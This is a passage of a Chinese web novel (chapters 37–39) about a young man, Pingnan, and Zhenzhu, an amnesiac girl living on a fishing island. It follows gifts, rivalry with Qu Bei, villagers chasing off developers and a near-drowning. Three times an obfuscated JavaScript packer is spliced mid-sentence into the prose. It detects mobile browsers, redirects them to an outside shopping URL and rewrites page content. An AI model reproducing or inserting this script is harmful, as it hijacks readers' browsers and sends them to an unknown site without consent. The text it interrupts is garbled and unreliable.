“喜欢吗?”平南不自觉的有些紧张,喉结滚动,这毕竟是他送给珍珠的第一件礼物,虽然最初是因为那本日记的缘故。 王平会给妻子种玉兰花,小珍珠说,她想要一颗真正的珍珠。 可这世界从来就没有什么最好的时机,他礼物准备好的那一刻,就是良时。 他想送的,自始至终也只有眼前这一个人。 珍珠没说话,想起他前面牵自己手的时那些稍稍粗粝的摩擦感,平南手上那些或浅或深的伤口,记得他刚到王家的时候还修长白皙,一看就没有干过活。 平南想,她应当是很喜欢的,不然怎么会盯着看那么久,虽然这条链子做工粗糙,完全配不上他的珠子,但是珍珠应该也看出来了吧,这颗珠子很不寻常,需要费很多工夫才能得到。 确认完,他微微扬起下颌,拿过项链给她戴上:“你别弄丢了,这可是绝无仅有的礼物。” 珍珠摸着吊坠的外壳好奇:“你哪来这么多钱?”那颗珠子看着质地很好,应该花了不少钱。 能哪里来的,还不是他做苦工买的,也不看他最近往春山那跑的多勤。 “反正我会赚到钱的。”平南懒散的撑着天台的边缘,“我知道,那些事还不能让他们发现,特别是...奶奶,她肯定会承受不住。” “不过没关系,我以后一定会扛起这个家的重任,你可以放心去做你想做的任何事情。” 他翘起嘴角:“我说过,我很了解你的。” 若是仔细算来,其实珍珠从未对他撒过任何谎,她一直都在告诉他她不记得了,只是那时候平南都没有听出她的弦外之音。 这样想来,那日王淑华晕倒的原因或许也找到源头,她在害怕。 曲北也是。 他们都不知道‘珍珠’究竟是谁,所以才会对她会画画这件事情一无所知,不惜用拙劣的借口和演技来遮掩。 这个岛上有太多的秘密,珍珠如果晕船又怎么会出海来到这个岛上,那王平日记里那个真正的珍珠又去哪了? 平南这次说的了解不再只是那些浅显的从文字里获取的信息,而是对珍珠的感同身受,所以哪怕她已经确定自己不是珍珠,可是面对随时会生病犯糊涂的王淑华她依旧要装作若无其事的样子。 珍珠说不清当时是什么心态,就好像是在迷路很久的森林里突然遇见了一只容易臭屁又占据性极强的小狗,你明知道他很不可靠,但是你就想和他同行。 珍珠莞尔一笑:“那好吧,我想想我要从哪里说起……”那些关于她在蓝月岛上的所见所闻,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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平南一看,嘿,这小姑娘怎么写的又是那天说过的话,希望大家幸福。 珍珠挂好站在一旁,免得挡住别人的位置,曲北从小路过来,看到她快走几步,眼镜前都起了一层雾,“原来你真的在这,昨天怎么没来?” 珍珠随口编了常见的理由:“昨天有点不舒服。” 曲北着急道:“没事吧。” 珍珠:“没事,就是那些糕点吃多了。” “你呀,从小就这样。”曲北松了一口气,又问:“你就写完了吗?挂在哪里?” “嗯。” 珍珠正准备指过去,身后的人群突然发出一阵躁动,曲北顺着议论找到了罪魁祸首,平南竟然把自己的红绸系在了别人的绸条上面。 “这不是胡闹吗?”曲北刚说完,恍然大悟,平南那种人还能把自己的红绸系在谁的下面,他向来是随心所欲的,答案显而易见。 珍珠也纳闷,走过去问他:“这么多位置,你系我上面干吗?” 平南看着她,语气说不出来是认真的还是怎样,“可是我找不到更好的位置了,而且,我就想挂在那。” “我要让他们都知道,你身边这个位置,只能是我的。” 珍珠难以理解他的脑回路:“不就挂个祈福带。” 她绕到树下,眼前的内容更是眼前一黑,珍珠??平南。 珍珠有些受不了,这完全是顺序颠倒:“怎么是我在前面?” 平南摊摊手,有点无奈:“不知道,我觉得你应该要爱我多一点。” 37. 第三十七章 平南这样说完全是受到珍珠那天在门口跟谢嘉说的那些话的启发。 ——“你要告诉她,她才知道。” 他说了,他想要珍珠这样做,要多爱他一点,要在心里将他排到第一位,最好能在珍珠身上别个铭牌,写上平南专属,让所有人都知道。 甚好。 平南光想着就喜不自胜,觉得这样就让曲北他们那群人自惭形秽,望而却步,不敢再到她身边蹦跶。 但是看珍珠神情,平南又难得的反思了一下,觉得自己是不是要求的太快了,毕竟她看起来似乎很希望自己多爱她一点,而且珍珠可能也需要学习如何去爱他,这或许是个很漫长的过程。 平南磨磨蹭蹭的走到树枝下,不情不愿地把红绸的末端往结扣塞,不一会儿,红绸突然变得直挺挺的立在树枝上,顺势间,上面的字变了方向。 南平?珠珍,不变的是那颗用水性笔描黑的大爱心,写的时候都透到桌子上去了。 他含含糊糊道:“这样总行了吧。” 珍珠看着那树枝上突兀竖起的一块鲜红:“……” 曲北面色古怪的看着他们,神情恍惚,一眨眼功夫两人就已经走远,平南不知说了句什么话惹珍珠生气,跟狗皮膏药的似的往人家身上贴。 -- 祭海节在第三天下午完美结束,大家又汇在了岛长家的院子里询问蓝月岛改造计划的进展,以及那些无人居住的土地到底要怎么规划。 曲有财成了众矢之的。 没有人相信他一点消息也不知道,大伙也不是随意糊弄的人,人生经验在手,谁也不信会有这么凑巧的事情。 林子那边的小石屋都多少年没人住了,他不惜拉水电也要在那边开一家冷饮店能一点也不知情? 曲有财也知道瞒不过岛上那群老狐狸,所以直接没去,他站在自家的二楼抽旱烟。 烟雾袅袅间,时间好似又回到了那天。 曲有财是个闲不下来的人,一闲下来就骨头发胀,浑身不舒服,搔头抓耳就想赚钱,所以每每到休渔期的时候,他就会到岸上找工,或者帮人用船运运货,有一点是一点。 一日,他早上从船上醒来,随意摸了两把脸走到常去的那家早餐店里,跟老板道了句还是老样子坐下,睡意蒙眬间突然听到后面有人说了蓝月岛三个字,一激灵,醒了过来。 曲有财常年在海上跑,最是熟悉那些海岛近况,近几年他看到了好几个海岛改头换面,不仅建起了新房学校,还开辟了什么旅游路线,好几个以前熟悉的老渔民都减少了跑海次数,用自己渔船载客带出海钓鱼游玩。 轻松钱多不说,还能装装修在门口立个民宿招牌赚两头的钱,重点是这简直是送上门的生意,特别是休渔期是从每年的五月到八月底,那时候游客最多,完全不耽误任何一门赚钱的路子。 那碗普通的清汤粉曲北整整吃了半个小时,直到那几个人离开才跟上。 渔村有外来面孔很容易辨别,曲有财跟在他们后面,看他们在渔村里打了一天的转,然后回到当地最好的旅店休息,他找个法子从老板口中套出他们的来历,老板倒也没多说,只说那伙人是从江州来的,好像要去哪里玩。 就在这样伺机的等候下,有天那几个人在饭店里跟老板打探出船一般是什么价位,曲有财装作不清楚蓝月岛的老实样子成功蒙惑过关,载着几个人浩浩荡荡去了蓝月岛,一路上也装作安分的样子只听他们说话从不乱问,终于确定他发财的日子指日可待。 那时候珍珠正好第二次醒来,他望着女孩漂亮迷茫的脸庞,王淑华犯病死死拉着她的手叫珍珠,一刹那间,他好像回到了十多年前那个黑黢黢的雨夜,王淑华当时也是这样。 一个风和日丽的早晨,蓝月岛第一家冷饮店开业了。 曲有财把烟掐灭,望向远方那座灰败的小房子,重重叹息了一声。 …… 王家二楼的房间似乎从很多年前就被王淑华封闭起来,可是平南把那几个抽屉、衣柜翻完,也没有再找到任何有用的信息。 他泄气的把东西整理好放回去,思来想去还是觉得只能从王淑华入手。 有什么事情会比当事人还更清楚的,是不是自己的孙女分不清楚吗?更何况王淑华总爱没事待在她那间小屋子里,指不定里面就藏着什么。 可他去过王淑华的那间屋子,太普通了,甚至还不如楼上这两间卧室,采光也一般,屋子里只有一股陈旧的味道,而且王淑华表现的太坦然,她从来没有藏着掖着不准珍珠进那间屋子,动她的东西。 可是一个好端端的大活人来到这个岛上就一点之前的痕迹也不会留下?他失忆了不是还有原来的衣服,虽然划烂了几个地方,可是也能第一眼就能看出来和王平那些衣服不一样,和春山他们穿的也不一样。 哪怕logo一样,但是真货在假货面前就是一目了然。 珍珠倒是心平气和,拿着蜡笔在纸上涂抹,用指腹晕色,手上全是油彩。 她落下最后一笔,听平南说完道:“我之前帮她找药的时候翻过那些抽屉和衣柜,里面没东西。” 又断了一条线索,平南郁闷拿过纸巾帮她擦手,被那幅画吸引了视线,这是……他们那天去海边抓星星的画面。 于是,他毫不吝啬的夸奖道:“画的还不错。” 他擦干净珍珠的手拿过画纸端详,暗想或许他以后可以帮珍珠办个画展,让所有人都看看他们美好的过往。 平南拿过黄色蜡笔在上面添了一颗星星,算是打下属于自己的标记,然后满意的把蜡笔放回盒子里,这才发现里面已经差不多快空了,很多蜡笔只剩小小的一段,拿都不好拿。 那幅画不过是信手涂鸦,珍珠没有制止,由着他在上面落笔。 突然,楼下传来了敲门声,曲有财的声音传了上来,“珍珠。” 两人立马走下去,珍珠打开门:“阿财叔。” 平南也跟着她叫了声。 曲有财端着一个泡沫水箱站在门口,往里探:“婶子去哪了,怎么没看到她。” 珍珠:“奶奶去海边了。” “哦哦。”曲有财把手上的箱子递过去,“这个你拿着,家里有人没东西怎么行,平南小兄弟看着这么瘦,不得多吃点。” 珍珠接过,礼貌道谢:“谢谢阿财叔,等奶奶回来了我会和她说的。” “好好好。”曲有财笑着给平南介绍:“小兄弟怕是不认识这些吧,这个是红鳍笛鲷,我们叫红鱼,平时吃它涂个喜庆,拿来清蒸就可以了。” 平南平静道了声谢,对这些不感兴趣。 曲有财又试探道:“我怎么感觉小兄弟你怪眼熟的,就好像见过一样。” 平南听出了攀扯的意味,掀了掀眼皮这才打量道:“是吗?” 曲有财讪笑的搓搓手,竟在少年的凌厉的眼神里感受到了一丝压迫,“也有可能是看错了,行了,你们进去吧,我家里还有点事。” 珍珠:“阿财叔再见。” “好好好。”曲有财刚走两步,又猛然想起调转回去询问道:“珍珠啊,你平时工作累不累,要是累的话可以早点下班的,反正那里也没有人,不用一直守在那里。” 珍珠:“不累的,阿财叔。”她说的是实话,冷饮店并不需要她做什么体力活,谈不上辛苦。 曲有财话里有话:“不累就好,不累就好。” 他干笑道:“太累了就直接休息,没关系的,身体最重要。” 珍珠一头雾水,但还是礼貌感谢道:“谢谢阿财叔。” “好了好了,你们进去,不用站在门口了,外面天热。”曲有财这才放心离开。 他也是在来的路上才想起那条重要线索,如果平南要找的就是珍珠,那是不是意味着珍珠也是大老板身边的人,看着他们年纪相仿,难道是妹妹? 这倒也说的通。 大老板的妹妹在他的手下打工!蓝月岛的人还都瞒着那个女孩! 反应过来的曲有财加急脚步回到家,曲北正好在院子里帮母亲晒被子,看到他满头大汗不由问道:“爸,你去哪了?” “你在这正好。”曲有财拉过儿子,小声说:“你那个大老板,有没有什么妹妹?” “?” 曲有财见儿子一脸懵然,心中急道这孩子真是读死书读傻了,这么重要的事情都没想到,气的啧了一声沉声提示:“珍珠。” 他现在真是后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972722|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悔那个时候没有看平南递过来的照片,平南的身份还不确定,现在又多了一个珍珠。 曲北还没反应过来:“珍珠?” 曲有财:“我不是跟你说过那小子是上岛找人的,如果他找的就是珍珠,那珍珠不也是你们大老板的人。” 曲北愣住,突然在他和珍珠之间感受到一条巨大的鸿沟,所以珍珠容貌风姿度都远超旁人,言谈举止落落大方,会画画才一点都不奇怪,他早该想到的。 颜淙有妹妹吗?他好像从未听说过,可他不也是最近才知道颜淙还有弟弟,有钱人家怎么会随意让别人把自家隐私拿出来八卦,总裁家那点事,谁能保证。 那他们现在这是....... 曲北心中一惊,拔开腿就往外面跑,曲有财在后面疯狂叫道:“你这小子,还没说呢,那个大老板到底有没有妹妹。” 曲妈妈抱着另一床被子从楼上下来,只看见儿子狂奔的背影,“什么大老板,你跟他说什么了,这么热的天跑这么快?” “妇人家,不要总打听这么多。”曲有财很恼火,不知道究竟是哪里出的问题,事态竟然发展到这一步。 “行,那你这些也不要让我这个妇人家插手。”曲妈妈没好气的把棉被往曲有财身上堆,头也不回的进了屋子。 “……”曲有财抱着棉被,热汗直流。 曲北跑的很快,脑海里不断闪过前天他们一起在树下挂红绸的场景,这不是乱套了吗? 长风这时也从另一条小路上蹦蹦跳跳的走过来,‘砰’的一声,两人在小路口撞到一起,长风身子骨弱,被曲北直接撞到了地上,发出一声惨叫。 曲北赶忙把他拉起,胡乱拍着他身上的灰道歉:“不好意思长风,我现在还有点急事,等下我去你家找你。” 他连长风的话都没听一句,就急着要走,一道刺眼的白光突然拦住了他的去路,曲北愣愣拉过长风的手,“你这是从哪里来的?” 表盘里精致的英文字母,周边一圈夺目的碎钻,精细做工,无一不在标榜着这块的名贵。 曲北记得,他第一次去总公司的时候,颜淙戴的时候就是这块。 当时他并不了解这些奢侈品的logo,是带他去的经理吹嘘卖弄,告诉他那表有多么多么的昂贵,言语之间,好似他才是那只表的真正主人。 长风被他抓的手生疼,害怕的往自己身前缩:“放开我。” 曲北深吸一口气拉回一点理智,攥紧拳头轻声问道:“长风,这是从哪来的?” 长风从来没见过他这样,曲北向来理智温和,是岛上的神童,蓝月岛以前有小孩欺负他,骂他傻子,都是曲北和春山出来帮他制止愿意跟他做朋友,所以尽管害怕,但长风还是怯怯回答了他的问题。 “是平南送给我的。” “他为什么要送你?”曲北浓黑的眸光沉冷下来。 答案已经在曲北脑海里冒出,他从一个小鱼岛一路考进名牌重点大学再走进万世集团,靠的从来不只是聪明的脑袋,重复积累的刷题经验,让他即使知道有些题目还存在问题,也能一眼找到那个正确答案。 但他还是想从长风嘴里听到一个错误答案,不标准的答案,和他脑海里完全不同的答案。 长风瑟缩着身体,满脸惊恐:“不是我偷的,是平南他自己送给我。” “不是这个?” 长风吓的舌头打结,以为曲北是想抢他的表,死死抓紧自己的手说:“不可以给你,这是平南,送给我的礼物。” 曲北视线落回到他脸上,压着性子说:“我不要你的表,你告诉我,他为什么要送你礼物。” “因为我帮了他。” “你帮了他什么?” 答案近在咫尺。 长风问一句答一句,终于答道:“我帮他找到了珍珠姐姐。” 曲北倏然松开了他的手,整个人失魂落魄一般往前走,只留下终于保住手表的长风站在原地。 他的脑子从来没有这么乱过,等反应过来的时候,他已经敲开王家的大门,珍珠惊异的看着他。 “小北哥,你怎么了?” 曲北如梦初醒,一把抓住她的手腕:“你们不能在一起!” 38. 第三十八章 “我们不能在一起。”平南幽幽冷笑,劈手打掉的曲北的手,他的声音里有切齿的怒意,“难道你觉得你就配?” “……” 倘若问曲北他要是从来没有考虑过这个问题,就太自欺欺人了,甚至在今天以前他都是觉得自己相配的,甚至还要高出一截。他自幼在天才的夸赞中长大,父母虽经常拌嘴但也算和睦之家,家世样貌成就皆在普通人之上,没有任何不良嗜好。 他有自己的骄傲,所以瞻前顾后,磨磨蹭蹭才到了今天。 但就算如今的他已经不足以匹配珍珠,也不代表着平南就可以和珍珠在一起。 “珍珠,你相信我,你们不能在一起。”曲北不甘地看着她,语气放柔,“你知道我从来不会骗你的。” “为什么?”珍珠眼神锐利的扫向曲北,觉察到他也许知道些什么,只是不解,这些事情为什么会突然和平南扯上关系。 曲北闷的脸通红:“你们……” 见他半天说不出个所以然,平南冷冷反讽道:“我们怎么了。” 哼,还从来不会骗她,他伸手揽过珍珠的肩,恶狠狠地瞪了曲北一眼往院子里走,“别理他,他就是见不得我们好。” 曲北攥的骨节青白凸起,可是无论是珍珠的身份还是珍珠和平南的关系他都说不出口。如果说出来那他是什么?不过同样是一个隐瞒珍珠,把她当作替代品的伪君子罢了。 珍珠回头看了一眼,只看到曲北离开时的落寞背影。 平南觉得曲北就是纯纯的有病,内心阴暗,看到别人恩爱就想跑过来使点绊子,他和珍珠才好几天,这么耐不住性子就要过来使狐媚子手段挑拨。 放置在廊下的泡沫箱水声动荡,激出一地水花,平南看着就来气,端起水箱往外走。 珍珠:“你去哪?” 平南愤愤道:“我才不要吃他家的鱼,我要丢出去。” 珍珠听到这吃味的话不由的笑了一下,还没劝阻,王淑华拿着草帽从外头回来,看到他手里的鱼明显愣了一下,皱眉道:“哪来的?” 珍珠答:“阿财叔送的。” 王淑华点点头:“站着干吗,还不搬厨房去,等下晒死了怎么吃?”她热的挥着草帽扇风,嘴里絮絮叨叨,“一天天,尽不让人省心。” …… 珍珠第二天才知道曲北昨天下午就离开了蓝月岛。 “不知道怎么回事,反正看着挺急的。”二妞撑脸咬住吸管猜测:“估计是赶着回去上班吧,在外面工作就是这点不好,一点多余的时间都没有,还要处处被人管着,哪有在岛上舒服。” 她摇摇头不愿意再说,话题一转到了海岛建设上,“话说,今天好像那些外岛的人又上来了,也不知道他们谈的怎么样?” 与此同时的另一边,万世集团的人犹如过街老鼠,被蓝月岛的人一路从岛委会沿着渡口的路上驱赶。 赶人队伍一路上凑成了一伙,拿鱼叉的拿鱼叉,没鱼叉的捡树枝,实在没有就在路边捡两块石头。 起初是有七八个好事者瞧着人来了,偷偷摸摸想在岛委会的墙下听两嘴最新信息,这不过是些无关大局的举措,岛上许多未离开的人等的就是这一刻。 那几个外面人上岛着实惹眼,眼睛都快长到天上去了。 说是岛委会,不过是在广播站旁边临时收拾了间以前堆放杂物的柴房。岛上哪有那么多事需要正经商量,真碰着什么事了,底层劳动人民有自己的解决方法。 找个中间人,喝点酒吃顿饭,抬头不见低头,给两分薄面,事情还不就过去了,这足以见得大家对这次商谈的重视程度。 只是来偷听的人太多了,大家都猫着腰躲在墙根下,平时大家就熟悉,装着要体面,结果一见面看着对方这样都想笑,好不容易捂紧嘴听进去,却是这样令人难以接受的消息。 赶人的队伍一路经过许多地方,没去的人听到声响也纷纷打开自家的门到院子里看,才听几句,也拿起家伙加入队伍,等到这帮人到小卖店的时候,已经队伍庞大,黑压压的全是人。 平南站在店门口,愣愣看着几个外来人灰溜溜的往前躲,边走还边回头嘴里气势不足地骂道:“野蛮,你们这群野蛮人……” “你再说一句。”为首那个人气势汹汹的举起石头。 旁边人赶忙拉住:“还不滚,等着我们打死你呢?” “滚出去,滚出蓝月岛,滚出蓝月岛。” 最前面的那个人平南见过,叫什么什么刚,长的五大三粗一身腱子肉,平时说话粗声粗气,一脸凶相,和岛上的人闹过不少矛盾,平南见到他都会习惯性避开,免得对方发疯没事给自己两锤。 他一头雾水,这是怎么了,不重建了?怎么这群人跟要把他们吃了一样,还是一个个恨不得把他们敲骨吸髓的样子。 蓝月岛的人说话带点口音,有属于自己的方言,平时说话正常语速还好,平南大致都可以明白,可是这一顿输出加上语速快,他听起来就跟听天书一样。 心里正蹊跷,平南被眼尖的春山一手拉入人群。 “干吗呢?”他问道。 其实他更想说,拉我做什么。 春山来不及解释太多,只说:“跟着就是了。” 他从旁边人手中抢过一截短树枝递过去,仗义凌然:“拿着。” 平南:“?” 春山轻啧一声,看着他手里的蜡笔盒说:“难不成你用那个砸。” 平南默默把手背到了后面,接过一根看起来已经被太阳晒干晒脆,随时就要不行的树枝,这有什么用。 春山把他往前扯了两下跟上队伍,扫了两眼他那清瘦的身板,嘱咐道:“拿稳了,等下要真打起来,你保护好自己。” 正当平南寻思是直接装作落队溜走,还是换个武器的时候,春山突然吼了一嗓子,高喊:“大家绝对不能再让这种人上蓝月岛,我们誓死不同意改建!!!” 混在人群里,声音听着清晰很多,旁边的人纷纷附和,气氛使然,平南也不禁跟着点头,心中燃起一腔热血,举起手上的干树枝学着帮腔。 “滚滚滚,黑心的玩意,蓝月岛就算一辈子这样我们也不会卖给你们的。” 平南:“...就是就是。” “你们也不怕遭天谴,做这种缺德事情。” 平南:“就是就是。” “我打死你们这群无良奸商#%¥%#¥……¥#……” 平南越来越起劲:“就是就是” “你八辈子祖宗#¥%#¥%¥#%%**%%¥#¥#¥#%” 平南:“……就是就是” 那几个外岛人哪里敢和这么多人一起较量,嘴里除了叫嚣你们给我等着,岛长你管不管,一岛之主就是这样管事的? 再一看,岛长人压根就没来,不仅如此,前面开会那群年老的岛民一个都没有参与,全是一群阳刚壮气的年轻人。 几个人吓的屁滚尿流,心里对他们成见更深,嘴里只能重复道,我要告你们,我要找警察,你们都给我等着,然后一路被赶到渡口附近。 平南终于听明白一些因果,感情这帮人压根不是上岛创建美好家园,而是要毁了蓝月岛,要在蓝月岛上建设附近环岛的垃圾焚烧厂。 他来的时间不长,可是眼睛是清明的,更何况他天天在礁石岛那边捡瓶子怎么会不知道蓝月岛人对环境这一块有多么看重,否则也不会出那些鼓励政策,倡导大家废物利用,多关注海岛环境。 蓝月岛人对待海洋垃圾尚且不能接受,怎么能容许有人在蓝月岛建垃圾场这种违背常理的事,建了垃圾场大家还怎么生活,还怎么共创美好未来。 当然,这只是一部分人的情绪不满,另一部分人不满的原因是凭什么别的岛吃香喝辣,自家岛就要成为垃圾焚烧站,总之这一刻,不管出于什么原因,大家的心还是齐的,就是绝对不会允许这种事情在蓝月岛上发生。 平南也不想,尽管他觉得自己对蓝月岛并没有什么感情,这个岛上的人也许还都是坏人都是骗子,但是他不想失去和珍珠一起看过的那片绚烂星空,也还想再次遇到那些属于海里的星星。 平南挥舞着手里的小木棍,混在人群里气咻咻的往前走。 终于,大家走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他指着阿黄的舌头抬起头笑:“它好像很喜欢你嗳,都没有这样舔过我。” 平南感觉嗓子被堵住,紧张的快要透不过气。 阿黄却以为平南终于开始喜欢他,伸着前爪立起就往他身上扑,看起来有近米长,平南再也忍不住,尖叫一声往旁边躲,一不小心绊到脚下的石头。 倏地,手中的蜡笔盒飞了出去。 那可是他在岛上能找到的颜色最多的蜡笔,仅此一盒。 蜡笔盒在空中形成一道抛物线,‘‘扑通’’一声,水花四溅,大家纷纷转头,只看到海水里有一个正在向外扩散的大水圈。 春山挠挠头疑惑道:“长风,你把什么丢进去了?” 长风连忙摆摆手:“不是我,是平南哥。” “平南?他把什么丢进去了,怎么这么大的水花......?”春山摸不着头脑,小眼睛瞪圆:“他人呢?” 一个彩色的纸盒浮上了水面,紧接着,底座也浮了上来,里面还有两支未拆封的新蜡笔。 长风说:“蜡笔掉进去,平南也掉进去了。” 春山松了一口气,还以为平南是去水里捡蜡笔,他之前看过平南游泳,水性不错,扬起唇笑道:“没事,他会游泳。” 大家放下心来,准备接着和邪恶势力对抗,又总觉得似乎哪里有点不对,从听到声响到现在怎么都没看到人,不用换气的吗? 时间过去半分钟,水里浮上来两个水泡,水圈的范围逐渐减少,水面开始平静,游艇上的人贴在玻璃上也好奇的看着外面,嘀咕道:“这人能憋这么久?” “……” 大家蓦地反应过来,也顾不上外面喊打喊杀的一群人,探出头大喊:“快救人啊!!!” 话音还没落地,一道优美矫健的弧线落入水中,春山一个猛子栽了进去,只激起一点水花,身影消失在海面。 游艇上的人忍不住齐齐惊呼:“妈的,这也太牛了吧” 平南于微弱中睁开眼,幽蓝的水面下阴森寒冷,意识模糊之间他好像又看到了那个女孩,面容一点点清晰,却陡然被一片密密麻麻的小水珠打散,他怔怔伸出手,随即陷入一片无尽的黑暗。 39. 第三十九章 “平南。” “平南。” “平南!?” 平南终于滞涩地睁开眼,入目是一片墙灰掉落大半的天花板,发黄的大灯泡被穿堂风吹的晃晃悠悠,他再次感到一阵头晕目眩,泛起恶心。 “平南。”呼唤的声音又再一次响起。 这次,他终于找到了声音的来源,强撑着侧视过去,看到女孩担忧的明丽脸庞。 他张了张嘴,只觉得嗓子喇的生疼,似有刀片划过。 珍珠立马站起来,俯身侧耳,却没有听到他说话的声音,猜测道:“你是不是想喝水了?” 她端起来旁边的杯子不知道怎么喂,只能扶着平南坐起来,一动,平南才感觉他胸腔那一块也极疼,跟被猛烈撞击过一样。 忍着疼喝了小半杯,干燥的喉咙终于得到浸润,不再似之前那般吞咽难受。 珍珠又扶着他躺下,伸手想测测他的体温却反被平南紧紧拉住了手,她极有耐心的安抚了下,摸了摸平南的眼皮说:“你要再休息会吗?春山哥说你呛太多水了。” 春山在楼下也挺内疚,他不过就是顺手拉平南充个人头,谁知道冲到海里去了。 这一听人醒了就跑上楼,不好意思挠挠后脑勺道:“你怎么掉海里去了?” 都说淹死的都是会游泳的,他以前对这句话还没有概念,现在想想真是惊魂未定,要是他反应再慢一点,后果真是不堪设想。 平南一看到春山全部想了起来,他好像前面是跟着去示威吧,都怪该死的阿黄,舔他一次不够还要舔他第二次,想想就浑身难受。 但他现在说不出话来,嘴里只能用嗓子发出胡乱的两声嗯响,春山更心虚了,知道自己心肺复苏使了多大的劲,还不是平南脸色惨白,看着跟要背过去气一样,这才一时失了力道。 他讪讪道:“你别担心,那群无良奸商已经被吓跑了,我们守住了蓝月岛,你先好好休息,我有空再来看你。” 平南想问的也不是这个,但想想也知道那些蜡笔不可能捡回来,闭了闭眼,困意上涌,一直睡到晚上才醒,珍珠熬了一锅快化成水的鱼粥,陈医生说平南剧烈呛咳导致喉咙充血,这几天都要吃清淡点。 喝完那一碗温热可口的鱼粥,平南终于感觉嗓子舒坦了,只是依旧有股淡淡的血腥味,他躺回床上又伸手拉住珍珠。 珍珠却误以为是平南落水惊魂未定所以才会突然如此黏着她,低头在他的嘴角碰了碰,哄道:“听话,我只是去楼下洗个碗而已,免得招虫子。” 平南神情恍动,有些没回过神来,耳根红了一小块。 珍珠觉得他这反应还挺可爱,又在另一边也碰了碰才去楼下洗碗。 这一夜,蓝月岛大半的人陷入了不眠之夜,谁也没有预料到事情会突然急转直下,不仅发财梦破碎,甚至还让蓝月岛差点陷入危机。 第二天一大早,岛上那些特意回来的人都失望而归,渔船也开始定日期准备再次准备出海,生活总是这样充满变机,只有能抓住的才是最可靠的,蓝月岛上的年轻人再一次从生活里感悟到真相。 春山第二日又来了江家,他人实诚,总觉得要不是自己把平南拉进队伍这一切都不会发生,平南经过一夜的修整恢复大半,只是嗓子发音带着沙哑,他觉得难听,索性不说话。 谢嘉两兄弟和小渔周末放假也跟着一起过来玩,二妞歉意的对珍珠笑笑,觉得春山这次是冲昏了头,竟然把一个不是蓝月岛的人拉进对外示威的队伍里,按照正常思路,其实平南才跟那群人算作一伙。 但很多事情都在无声无息之间改变了,这种变化总是潜移默化,等回过神来,才会发现大家原来已经朝夕相处了那么久。 二妞打趣道:“你都不知道岛上那些婶子是什么怎么说的。” 珍珠:“怎么说的。” 二妞神神秘秘凑到她的耳边,话语里跟灌了蜜似的高兴,“都夸你捡了个痴情种呢,说他为爱跳海,也要守住送给你的礼物。” 珍珠愕然:“……” 她只是听春山说,平南不知道怎么就掉进海里了,等看到他的时候,平南已经被扛回家里休息,她记得,他左手好像是握了一支白色蜡笔,当时还纳闷来着。 蜡笔盒里白色总是用的格外快,其他颜料相加可以渐变成其他颜色,唯有白色,永远无法调试,沾不得一点别的东西。 珍珠想想又觉得不可信,一盒蜡笔而已,掉了就掉了,跳水是不是有点过头,主要是平南平时也没有这么不靠谱,正胡思乱想着,是不是岛上的人想多了,院子里两个小孩又吵了起来。 谢嘉生气道:“我说不要这样翻,一直重复有什么好玩的。” 小渔人小小的,说话却格外有劲:“我才不要听你的,我就要这样翻。” 谢嘉被她呛到,故技重施:“江小渔,我不要跟你玩了!” “不跟我玩就不跟我玩,我才不要和你玩,我要和小阳哥哥一起玩。”小渔生气的把手上的彩绳丢到地上,拉住谢阳的手。 谢嘉也立马扯住谢阳,气势更足:“他是我哥哥,我让他跟谁玩就跟谁玩,” 谢阳被架在中间很无奈,不知道自己的弟弟为什么总是跟个小孩一样长不大,连玩个翻花绳两个人都能吵起来,像天生的冤家一样。 珍珠怕他们又像上次那样,对小渔招招手让她过来,免得这样扯来扯去腿上又留下一个伤疤。 小渔却像找到了救星,飞快扑进珍珠的怀里对着谢嘉显摆,“我要和珍珠姐姐一起玩。” 谢嘉哼了一声,拉着谢阳就往外跑。 春山觉得他们好玩,故意逗道:“小渔,你更喜欢我们谢阳还是谢嘉?” 声音不大,但坐在他旁边的平南听的清清楚楚,轻蔑的勾了下嘴角,这问题问的,跟问小孩你更喜欢爸爸还是妈妈有什么区别。 如果让他选,肯定是选谢嘉啊,谢阳那种小孩看着就很没有意思,小孩都没有个小孩样,一点也不天真烂漫,跟颜淙小时候那种人一个模子里刻出来的。 谢嘉虽然吵了点,但勉强也还算可爱。 小渔有点害羞,支支吾吾小声地说:“小阳哥哥。” 春山看她脸红的样子笑的不行,逗趣道:“原来小渔喜欢谢阳啊,那你以后就给我们小阳做媳妇好不好。” 小渔虽然年纪小,但也不是完全不懂这话是什么意思,抱住珍珠的胳膊不撒手,脸都快埋进去了。 春山笑着突然感觉旁边一阵发凉,呵呵的笑不出声了。 二妞在前面浑然不知,赞同道:“要我选我也选谢阳,谁会喜欢谢嘉那种小孩,控制欲强,还总是喜欢生气,太不可控了,你不知道什么时候就会惹到他,还是谢阳更好,懂事又聪明。” “珍珠你说是吧。” “我觉得谢嘉就挺好。”平南突然冷不丁的开口,声音里全是沙哑。 二妞:“不可能。” 她看向春山寻求认可:“你说,你觉得谢嘉好还是谢阳好。” 二妞认真的表情在春山看来,就跟女友问你,你想要一个谢嘉那样的孩子,还是要一个谢阳那样的孩子,凭心而论,谁不喜欢谢阳那样的小孩。 聪明独立,完全不会让父母操心。 可谢嘉虽然调皮了点,但也都是些无伤大雅的举措,小孩子闹点别扭很正常,男孩子嘛,长大了就会好,他更希望小朋友在该玩的年纪还是活泼一点。 更何况这两个都是他的亲侄子,感觉说哪个都不对。 但不知为何,平南这时也阴恻恻的看着他,生怕他说谢阳好一样。 于是春山打哈哈道:“两个都好,两个都好。” 平南抬了抬下巴,移开视线。 